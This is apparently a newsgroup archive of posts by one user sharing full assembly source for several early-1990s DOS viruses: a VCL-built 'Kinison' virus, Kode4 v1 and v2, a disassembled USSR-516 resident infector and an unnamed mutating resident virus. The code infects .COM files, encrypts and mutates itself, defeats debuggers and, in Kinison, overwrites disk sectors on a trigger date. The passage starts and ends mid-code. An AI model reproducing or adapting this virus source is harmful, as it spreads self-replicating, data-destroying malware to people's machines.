data00 db "DIE BITCH!!!!! AHHHHHHHH!!!!!!!",13,10,0

vcl_marker db "[VCL]",0 ; VCL creation marker


note db "Dedicated to the memory of"
db " Sam Kinnison 1954-1992",0
db "[Kinnison]",0
db "Nowhere Man, [NuKE] '92",0
encrypt_code proc near
push bx ; Save BX

push di ; Save DI
lea si,[di + encrypt_decrypt - start] ; SI points to encryption code

xor ah,ah ; BIOS get time function
int 01Ah
or dx,1 ; Insure we never get zero
mov word ptr [si + 5],dx ; Low word of timer is new key

alter_flag: mov al,0 ; AL holds alteration flag
inc byte ptr [di + (alter_flag + 1) - start] ; Toggle alteration flag

test al,1 ; Is bit one set?
jne check_nop ; If not then don't toggle

xor byte ptr [si],0110b ; Change all BPs in startup code
xor byte ptr [si + 4],010b ; to BXs, and vice-versa
xor byte ptr [si + 7],0110b ;

check_nop: test al,2 ; Is bit two set?
jne do_encryption ; If not then don't toggle

mov ax,word ptr [si + 7] ; AX holds INC/NOP
xchg ah,al ; Exchange position of INC and NOP
mov word ptr [si + 7],ax ; Put the word back

do_encryption: mov si,di ; SI points to start of code
lea di,[di + finish - start] ; DI points past code
mov cx,(finish - start) / 2 ; CX holds words to transfer
rep movsw ; Copy the code past the end

pop di ; Restore DI
lea si,[di + (finish + (start_of_code - start)) - start] ; SI points to code
to encrypt
call encrypt_decrypt ; Encrypt the code

pop bx ; Restore BX
ret ; Return to caller
encrypt_code endp

even ; Must be on an even boundry

end_of_code label near

encrypt_decrypt proc near
mov bp,end_of_code - start_of_code - 2 ; BP holds length of code
xor_loop: db 081h,032h,00h,00h ; XOR a word with the key
dec bp ; Do the next byte
nop ; Used to throw off detectors
jne xor_loop ; Repeat until we're done
ret ; Return to caller
encrypt_decrypt endp
finish label near

code ends
end main

Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Пришел. Увидел. Побелил.

John Zaicev

unread,
May 15, 2012, 2:14:50 AM5/15/12
to
[√] Привет _All_ !

; KINISON.ASM -- Sam Kinsion Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man

virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR

code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h

main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host

call encrypt_decrypt ; Decrypt the virus

start_of_code label near

lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte

mov di,bp ; DI points to start of virus

mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack

mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack

mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h

stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
lea bx,[di + null_vector] ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard

call get_day
cmp ax,000Bh ; Did the function return 11?
jne skip00 ; If not equal, skip effect
call get_weekday
cmp ax,0005h ; Did the function return 5?
jne skip00 ; If not equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: lea si,[di + data00] ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:

end00: xor ah,ah ; BIOS get time function
int 01Ah
xchg dx,ax ; AX holds clock ticks
mov cx,0003h ; We'll divide by 3
cwd ; Sign-extend AX into DX:AX
div cx ; Divide AX by CX
or dx,dx ; Is there a remaindier?
jne no_infection ; If there is then don't spread
call search_files ; Find and infect a file
no_infection:
call get_day
cmp ax,000Bh ; Did the function return 11?
jne skip01 ; If not equal, skip effect
call get_weekday
cmp ax,0005h ; Did the function return 5?
jne skip01 ; If not equal, skip effect
jmp short strt01 ; Success -- skip jump
skip01: jmp end01 ; Skip the routine
strt01: mov ax,0004h ; First argument is 4
mov cx,0010h ; Second argument is 16
cli ; Disable interrupts (no Ctrl-C)
cwd ; Clear DX (start with sector 0)
trash_loop: int 026h ; DOS absolute write interrupt
dec ax ; Select the previous disk
cmp ax,-1 ; Have we gone too far?
jne trash_loop ; If not, repeat with new drive
sti ; Restore interrupts

end01:
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h

mov sp,bp ; Deallocate local buffer

xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;

ret ; Return to original program
main endp


db 09Ch,054h,068h,09Eh,06Ch

search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack

mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h

mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h

call traverse ; Start the traversal

mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h

mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller

root db "\",0 ; Root directory
search_files endp

traverse proc near
push bp ; Save BP

mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address

mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack

mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h

mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present

check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going

mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h

call traverse ; Recursively call ourself

pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags

jnc done_searching ; If we infected then exit

another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file

leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h

pop bp ; Restore BP
ret ; Return to caller

up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp

db 083h,01Dh,064h,0E6h,08Ah
db 039h,01Ch,0DDh,0C2h,0DDh

infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA

mov byte ptr [di + set_carry],0 ; Assume we'll fail

cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit

size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle

mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h

mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h

xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX

sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump

mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h

mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle

mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h

mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h

push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI

mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h

mov ah,03Eh ; DOS close file function
int 021h

mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h

infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller

set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp


db 087h,04Ch,0B3h,047h,001h

get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp

db 0FFh,024h,0C3h,092h,07Fh

get_weekday proc near
mov ah,02Ah ; DOS get date function
int 021h
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_weekday endp

data00 db 7,7,7,"DIE BITCH!!!!! AHHHHHHHH!!!!!!!",13,10,0

vcl_marker db "[VCL]",0 ; VCL creation marker


note db "This *VIRUS* is dedecated to t"
db "he memory of Sam Kinsion, 1954"
db "-1992",0
db "[Kinison]",0
db "Nowhere Man, [NuKE] '92",0

encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine

xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key

xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)

lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes

lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes

pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again

mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus

lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt

mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller

write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp

end_of_code label near

encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near

code ends
end main

Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Снегири не гири, барсуки не суки.

John Zaicev

unread,
May 17, 2012, 8:01:58 AM5/17/12
to
[√] Привет _All_ !

─────────═════════>>> Article From Evolution #2 - YAM '92

Article Title: Kode 4 v1 Virus
Author: Soltan Griss


;######################################################################
;# Name: Kode4 version 1.0 (overwritting stage)
;# Author: Soltan Griss [YAM]
;#
;# Description: What this sucker does is very simple. it overwrites
;# the first 46 bytes of all com files in the current
;# directory, with it's own code... as of scanv93, this
;# virus is undetectable..
;#
;#
;# Special Thanks go out to Data Disruptor.. If it were not for you i
;# would still be fucking lost!!!!
;#
;######################################################################

seg_a segment byte public
assume cs:seg_a, ds:seg_a


org 100h
V_Length equ last-start
KODE4 proc far

start label near ;Check for Virex installiation

mov ax,0ff0fh
int 21h
cmp ax,0101h ;Abort if Virex Protection
je done ; present


mov ah,4Eh ;Find first Com file
mov dx,offset filename ;use "*.com"
int 21h

Back:
mov ah,43h ;get rid of read only
mov al,0
mov dx,9eh
int 21h
mov ah,43h
mov al,01
and cx,11111110b
int 21h

mov ax,3D01h ;Open file for writing
mov dx,9Eh ;get file name from file DTA
int 21h

mov bx,ax ;save handle in bx
mov ah,57h ;get time date
mov al,0
int 21h

push cx ;put in stack for later
push dx


mov dx,100h ;Start writing at 100h
mov cl,v_length ;write 46 bytes
mov ah,40h ;Write Data into the file
int 21h


pop dx ;Restore old dates and times
pop cx
mov ah,57h
mov al,01h
int 21h



mov ah,3Eh ;Close the file
int 21h

mov ah,4Fh ;Find Next file
int 21h

jnc Back
mov ah,9h
mov dx,offset DATA
int 21h

done: int 20h ;Terminate Program
filename db "*.c*",0
DATA db " -=+ Kode4 +=-, The one and ONLY!$"


kode4 endp
LAST label near
seg_a ends
end start




Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Ученье - свет, а неученье - приятный полумрак.

John Zaicev

unread,
May 17, 2012, 8:02:30 AM5/17/12
to
[√] Привет _All_ !

ussr516 segment byte public
assume cs:ussr516, ds:ussr516
org 100h
; Disassembled by Dark Angel of PHALCON/SKISM
; for 40Hex Number 7 Volume 2 Issue 3
stub: db 0e9h, 0, 0
db 0e9h, 1, 0, 0
; This is where the virus really begins
start:
push ax
call beginvir

orig4 db 0cdh, 20h, 0, 0
int30store db 0, 0, 0, 0 ; Actually it's int 21h
; entry point
int21store db 0, 0, 0, 0

beginvir: pop bp ; BP -> orig4
mov si,bp
mov di,103h
add di,[di-2] ; DI -> orig4
movsw ; restore original
movsw ; 4 bytes of program
xor si,si
mov ds,si
les di,dword ptr ds:[21h*4]
mov [bp+8],di ; int21store
mov [bp+0Ah],es
lds di,dword ptr ds:[30h*4+1] ; Bug????
findmarker:
inc di
cmp word ptr [di-2],0E18Ah ; Find marker bytes
jne findmarker ; to the entry point
mov [bp+4],di ; and move to
mov [bp+6],ds ; int30store
mov ax,5252h ; Get list of lists
int 21h ; and also ID check

add bx,12h ; Already installed?
jz quitvir ; then exit
push bx
mov ah,30h ; Get DOS version
int 21h

pop bx ; bx = 12, ptr to 1st
; disk buffer
cmp al,3
je handlebuffer ; if DOS 3
ja handleDBHCH ; if > DOS 3
inc bx ; DOS 2.X, offset is 13
handlebuffer:
push ds
push bx
lds bx,dword ptr [bx] ; Get seg:off of buffer
inc si
pop di
pop es ; ES:DI->seg:off buff
mov ax,[bx] ; ptr to next buffer
cmp ax,0FFFFh ; least recently used?
jne handlebuffer ; if not, go find it
cmp si,3
jbe quitvir
stosw
stosw
jmp short movetobuffer
handleDBHCH: ; Disk Buffer Hash Chain Head array
lds si,dword ptr [bx] ; ptr to disk buffer
lodsw ; info
lodsw ; seg of disk buffer
; hash chain head array
inc ax ; second entry
mov ds,ax
xor bx,bx
mov si,bx
lodsw ; EMS page, -1 if not
; in EMS
xchg ax,di ; save in di
lodsw ; ptr to least recently
; used buffer
mov [di+2],ax ; change disk buffer
; backward offset to
; least recently used
xchg ax,di ; restore EMS page
mov [di],ax ; set to least recently
movetobuffer: ; used
mov di,bx
push ds
pop es ; ES:DI -> disk buffer
push cs
pop ds
mov cx,108h
lea si,[bp-4] ; Copy from start
rep movsw
mov ds,cx ; DS -> interrupt table
mov word ptr ds:[4*21h],0BCh ; New interrupt handler
mov word ptr ds:[4*21h+2],es ; at int21
quitvir:
push cs ; CS = DS = ES
pop es
push es
pop ds
pop ax
mov bx,ax
mov si, 100h ; set up stack for
push si ; the return to the
retn ; original program
int24:
mov al,3 ; Ignore all errors
iret
tickstore db 3 ; Why???
buffer db 3, 0, 9, 0

int21:
pushf
cli ; CP/M style call entry
call dword ptr cs:[int30store-start]
retn ; point of int 21h

int21DSDX: ; For int 21h calls
push ds ; with
lds dx,dword ptr [bp+2] ; DS:DX -> filename
call int21
pop ds
retn

cmp ax,4B00h ; Execute
je Execute
cmp ax,5252h ; ID check
je CheckID
cmp ah,30h ; DOS Version
je DosVersion
callorig21: ; Do other calls
jmp dword ptr cs:[int21store-start]
DosVersion: ; Why????? ; DOS Version
dec byte ptr cs:[tickstore-start]
jnz callorig21 ; Continue if not 0
push es
xor ax,ax
push ax
mov es,ax
mov al,es:[46Ch] ; 40h:6Ch = Timer ticks
; since midnight
and al,7 ; MOD 15
inc ax
inc ax
mov cs:[tickstore-start],al ; # 2-17
pop ax
pop es
iret
CheckID: ; ID Check
mov bx,0FFEEh ; FFEEh = -12h
iret
Execute: ; Execute
push ax ; Save registers
push cx
push es
push bx
push ds ; DS:DX -> filename
push dx ; save it on stack
push bp
mov bp,sp ; Set up stack frame
sub sp,0Ah ; Temporary variables
; [bp-A] = attributes
; [bp-8] = int 24 off
; [bp-6] = int 24 seg
; [bp-4] = file time
; [bp-2] = file date
sti
push cs
pop ds
mov ax,3301h ; Turn off ^C check
xor dl,dl ; (never turn it back
call int21 ; on. Bug???)
mov ax,3524h ; Get int 24h
call int21 ; (Critical error)
mov [bp-8],bx
mov [bp-6],es
mov dx,int24-start
mov ax,2524h ; Set to new one
call int21
mov ax,4300h ; Get attributes
call int21DSDX
jnc continue
doneinfect:
mov ax,2524h ; Restore crit error
lds dx,dword ptr [bp-8] ; handler
call int21
cli
mov sp,bp
pop bp
pop dx
pop ds
pop bx
pop es
pop cx
pop ax
jmp short callorig21 ; Call orig handler
continue:
mov [bp-0Ah],cx ; Save attributes
test cl,1 ; Check if r/o????
jz noclearattr
xor cx,cx
mov ax,4301h ; Clear attributes
call int21DSDX ; Filename in DS:DX
jc doneinfect ; Quit on error
noclearattr:
mov ax,3D02h ; Open read/write
call int21DSDX ; Filename in DS:DX
jc doneinfect ; Exit if error
mov bx,ax
mov ax,5700h ; Save time/date
call int21
mov [bp-4],cx
mov [bp-2],dx
mov dx,buffer-start
mov cx,4
mov ah,3Fh ; Read 4 bytes to
call int21 ; buffer
jc quitinf
cmp byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
jne quitinf ; Otherwise, quit
mov dx,word ptr ds:[buffer+1-start]; dx = jmploc
dec dx
xor cx,cx
mov ax,4201h ; go there
call int21
mov ds:[buffer-start],ax ; new location offset
mov dx,orig4-start
mov cx,4
mov ah,3Fh ; Read 4 bytes there
call int21
mov dx,ds:[orig4-start]
cmp dl,0E9h ; 0E9h means we might
jne infect ; already be there
mov ax,ds:[orig4+2-start] ; continue checking
add al,dh ; to see if we really
sub al,ah ; are there.
jz quitinf
infect:
xor cx,cx
mov dx,cx
mov ax,4202h ; Go to EOF
call int21
mov ds:[buffer+2-start],ax ; save filesize
mov cx,204h
mov ah,40h ; Write virus
call int21
jc quitinf ; Exit if error
sub cx,ax
jnz quitinf
mov dx,ds:[buffer-start]
mov ax,ds:[buffer+2-start]
sub ax,dx
sub ax,3 ; AX->jmp offset
mov word ptr ds:[buffer+1-start],ax; Set up buffer
mov byte ptr ds:[buffer-start],0E9h; code the jmp
add al,ah
mov byte ptr ds:[buffer+3-start],al
mov ax,4200h ; Rewind to jmploc
call int21
mov dx, buffer-start
mov cx,4 ; Write in the jmp
mov ah,40h
call int21
quitinf:
mov cx,[bp-4]
mov dx,[bp-2]
mov ax,5701h ; Restore date/time
call int21
mov ah,3Eh ; Close file
call int21
mov cx,[bp-0Ah] ; Restore attributes
mov ax,4301h
call int21DSDX
jmp doneinfect ; Return
ussr516 ends
end stub


Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... По ногам текло, а в рот не попало!

John Zaicev

unread,
May 17, 2012, 8:02:09 AM5/17/12
to
[√] Привет _All_ !

─────────═════════>>> Article From Evolution #2 - YAM '92

Article Title: Kode 4 v2 Virus
Author: Soltan Griss


seg_a segment byte public
assume cs:seg_a, ds:seg_a


org 100h
V_Length equ vend-vstart
KODE4 proc far
start label near
db 0E9h,00h,00h


vstart equ $

mov si,100h ;get si to point to 100
mov di,102h ;get di to point to 102
lback: inc di ;increment di
mov ax,word ptr [si] ;si is ponting to ax
cmp word ptr [di],ax ;compare ax with di loc
jne lback ;INE go back and inc di


mov ax,word ptr [si+1]
cmp ax,word ptr [di+1]
je lout
jmp lback

lout: add di,3h ;jmp stored in the end
sub di,(v_length+100h) ;+3 to get to end and -
mov si,di ;
;**********************************************************************
;*
;* The above code can be re-written as follows...
;* The above idea, although it works is very long in code....
;* when DOS does a load and execute it pushes all registers the last
;* register to be pushed contains the file length. so just subtract
;* the current location
;**********************************************************************
;
;
;
;Host_Off: pop bp
; sub bp,offset host_off
; mov si,bp
;
;*** Before opening any file copy the original three bytes back to 100h
;*** Because they will get overwritten when you check any new files
lea di,temp_buff
add di,si
mov ax,word ptr [di]
mov cl,byte ptr [di+2]
mov di,100h
mov word ptr [di],ax
mov byte ptr [di+2],cl


mov ah,4Eh ;Find first Com file
mov dx,offset filename ; offset of "*.com"
add dx,si
int 21h
jnc back
jmp done
Back:
mov ah,43h ;get rid of read only
mov al,0
mov dx,9eh
int 21h
mov ah,43h
mov al,01
and cx,11111110b
int 21h

mov ax,3D02h ;Open file for read/writing
mov dx,9Eh ;get file name from file DTA
int 21h
jnc next
jmp done
next: mov bx,ax ;save handle in bx
mov ah,57h ;get time date
mov al,0
int 21h

push cx ;put in stack for later
push dx

mov ax,4200h ; Move ptr to start of file
xor cx,cx
xor dx,dx
int 21h


mov ah,3fh ;load first 3 bytes
mov cx,3

mov dx,offset temp_buff
add dx,si
int 21h

xor cx,cx ;move file pointer to end of file
xor dx,dx
mov ax,4202h
int 21h
sub ax,3 ; Fix for real location
push ax
; nop ;
; nop ; used for debugging
; nop ;
; nop ;
; nop

mov di,offset temp_buff
add di,si
mov word ptr [j_code2+si],ax; Save two bytes in a
; word [jumpin]

cmp byte ptr [di],0e9h ;look for a jmp at begining
jne infect

mov cx,word ptr [di+1] ;check for XXX bytes at end
pop ax
sub ax,v_length
cmp ax, cx ; jump (id string to check)
jne infect
jmp finish



infect:

xor cx,cx ;move file pointer to begining
xor dx,dx ;to write jump
mov ax,4200h
int 21h

mov ah,40h ;write jump in first 3 bytes
mov cx,3
mov dx, offset j_code1
add dx,si
int 21h

xor cx,cx ;move file pointer to end of file
xor dx,dx
mov ax, 4202h
int 21h

mov dx,offset vstart
add dx,si ;Start writing at top of virus
mov cx,(vend-vstart) ; Set for length of virus
mov ah,40h ;Write Data into the file
int 21h


Finish: pop dx ;Restore old dates and times
pop cx
mov ah,57h
mov al,01h
int 21h

mov ah,3Eh ;Close the file
int 21h

mov ah,4Fh ;Find Next file
int 21h
jc done
jmp back

done:
mov bp,100h
jmp bp


filename db "*.com",0
DATA db " -=+ Kode4 +=-, The one and ONLY!$"

j_code1 db 0e9h
j_code2 db 00h,00h
temp_buff db 0cdh,020h,090h ; CD 20 NOP
kode4 endp

vend equ $

seg_a ends

end start




Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Я не механик. Я даже не знаю, каким концом отвёртки забивают гвозди.

John Zaicev

unread,
May 18, 2012, 2:16:02 AM5/18/12
to
[√] Привет _All_ !

code segment
assume cs:code
org 100h

start:
jmp begin

org 200h
begin:
jmp short beg

FileSize dw 0E00h; 02h
int21vec dd 0 ; 04h
oldint13 dd 0 ; 08h
oldint24 dd 0 ; 0Ch
Date dw 0 ; 10h
Time dw 0 ; 12h
db 1 ; 14h
version dw 0 ; 15h - mutation status

beg:
call codenext
codenext:
pop si
mutation1:
cli
push ds
pop es
mov bp,sp
mov sp,si
add sp,3FEh-(offset codenext-offset begin)
mutation2:
mov cx,ss
mov ax,cs
mov ss,ax
pop bx
dec sp
dec sp
add si,offset mybeg-offset codenext
codeloop:
pop ax
xor al,bh
push ax
dec sp
cmp sp,si
jnc codeloop
mybeg:
mov ax,es
dec ax
mov ds,ax
add word ptr ds:[3],-082h
mov bx,ds:[3]
mov byte ptr ds:[0],5ah
inc ax
inc bx
add bx,ax
mov es,bx
mov ss,cx
add si,offset begin-offset mybeg
mov bx,ds
mov ds,ax
mov sp,bp
push si
xor di,di
mov cx,400h
cld
rep movsb
pop si
push bx
mov bx,offset inblock-offset begin
push es
push bx
retf
inblock:
mov es,ax
mov ax,cs:[2] ; File Size
add ax,100h
mov di,si
mov si,ax
mov cx,400h
rep movsb
pop es
xor ax,ax
mov ds,ax
sti
cmp word ptr ds:[21h*4],offset int21-offset begin
jne count
sub word ptr es:[3],-082h
test byte ptr ds:[46ch],11100111b
jnz efect1
push cs
pop ds
mov si,offset msg-offset begin
efect2:
lodsb
or al,0
jz efect3
mov ah,0eh
int 10h
jmp short efect2
efect3:
mov ah,32h
xor dl,dl
int 21h
jc efect1
call setaddr
call setint
mov dx,ds:[bx+10h]
mov ah,19h
int 21h
mov cx,2
int 26h
pop bx
call setint
efect1:
jmp quit
count:
add word ptr es:[12h],-082h
mov bx,ds:[46ch]
push ds
push cs
pop ds
push cs
pop es
mov byte ptr ds:[14h],1
and bh,80h
mov ds:[4ffh],bh
test bl,00000001b
jnz mut1
mov si,offset mutation1-offset begin
add si,ds:[15h]
lodsb
xchg al,ds:[si]
mov ds:[si-1],al
mut1:
test bl,00000010b
jnz mut2
mov si,offset mutation2-offset begin
add si,ds:[15h]
lodsw
xchg ax,ds:[si]
mov ds:[si-2],ax
mut2:
test bl,00000100b
jnz mut3
mov si,offset codeloop-offset begin
mov al,2
xor byte ptr ds:[si],al
xor byte ptr ds:[si+2],al
xor byte ptr ds:[si+3],al
mut3:
test bl,00001000b
jnz mut4
mov si,offset codenext-offset begin
mov di,400h
mov cx,offset codeloop-offset codenext-2
push si
push di
lodsb
cmp al,5eh
je jmp1
inc si
jmp1:
push cx
rep movsb
pop cx
pop si
pop di
cmp al,5eh
je jmp2
mov al,5Eh
stosb
rep movsb
mov al,90h
stosb
xor ax,ax
jmp short jmp3
jmp2:
mov ax,0C68Fh
stosw
rep movsb
mov ax,1
jmp3:
mov cs:[15h],ax
mut4:
mov ah,30h
int 21h
cmp ax,1e03h
jne nodos33
mov ah,34h
int 21h
mov bx,1460h
jmp short dos33
nodos33:
mov ax,3521h
int 21h
dos33:
mov ds:[4],bx
mov ds:[6],es
mov si,21h*4
pop ds
push si
push cs
pop es
mov di,offset intend-offset begin+1
movsw
movsw
pop di
push ds
pop es
mov ax,offset int21-offset begin
stosw
mov ax,cs
stosw
mov di,offset mybeg-offset begin
mov al,cs:[3ffh]
coderloop:
xor cs:[di],al
inc di
cmp di,offset coderloop-offset begin
jc coderloop
quit:
mov ah,62h
int 21h
push bx
mov ds,bx
mov es,bx
mov ax,100h
push ax
retf
;------------------------------------------------------------------------------
infect:
push si
push ds
push es
push di
cld
push cs
pop ds
xor dx,dx
call movefp
mov dx,400h
mov ah,3fh
mov cx,3
call Dos
jc infect4
xor di,di
mov ax,word ptr ds:[400h]
mov cx,ds:[0]
cmp cx,ax
je infect8
cmp al,0EBH ; near jmp
jne infect1
mov al,ah
xor ah,ah
add ax,2
mov di,ax
infect1:
cmp al,0E9h ; far jmp
jne infect2
mov ax,ds:[401h]
add ax,3
mov di,ax
xor ax,ax
infect2:
cmp ax,'MZ'
je infect4
cmp ax,'ZM'
jne infect3
infect4:
stc
infect8:
jmp infectquit
infect3:
mov dx,di
push cx
call movefp
mov dx,400h
mov ah,3fh
mov cx,dx
call Dos
pop cx
jc infect4
cmp ds:[400h],cx
je infect8
mov ax,di
sub ah,-4
cmp ax,ds:[2]
jnc infect4
mov dx,ds:[2]
call movefp
mov dx,400h
mov cx,dx
mov ah,40h
call Dos
infect6:
jc infectquit
mov dx,di
call movefp
push cs
pop es
mov di,400h
push di
push di
xor si,si
mov cx,di
rep movsb
mov si,400h+offset coderloop-offset begin
mov al,ds:[7ffh]
infect5:
xor ds:[si],al
inc si
cmp si,07ffh
jc infect5
pop cx
pop dx
mov ah,40h
call Dos
infectquit:
pop di
pop es
pop ds
pop si
ret
int21:
cmp ax,4b00h
je exec
cmp ah,3eh
je close
cmp ah,11h
je dir
cmp ah,12h
je dir
intend:
db 0eah,0,0,0,0

dir:
push si
mov si,offset intend-offset begin+1
pushf
call dword ptr cs:[si]
pop si
push ax
push bx
push es
mov ah,2fh
call dos
cmp byte ptr es:[bx],0ffh
jne dir2
add bx,7
dir2:
mov ax,es:[bx+17h]
and ax,1fh
cmp ax,1eh
jne dir1
mov ax,es:[bx+1dh]
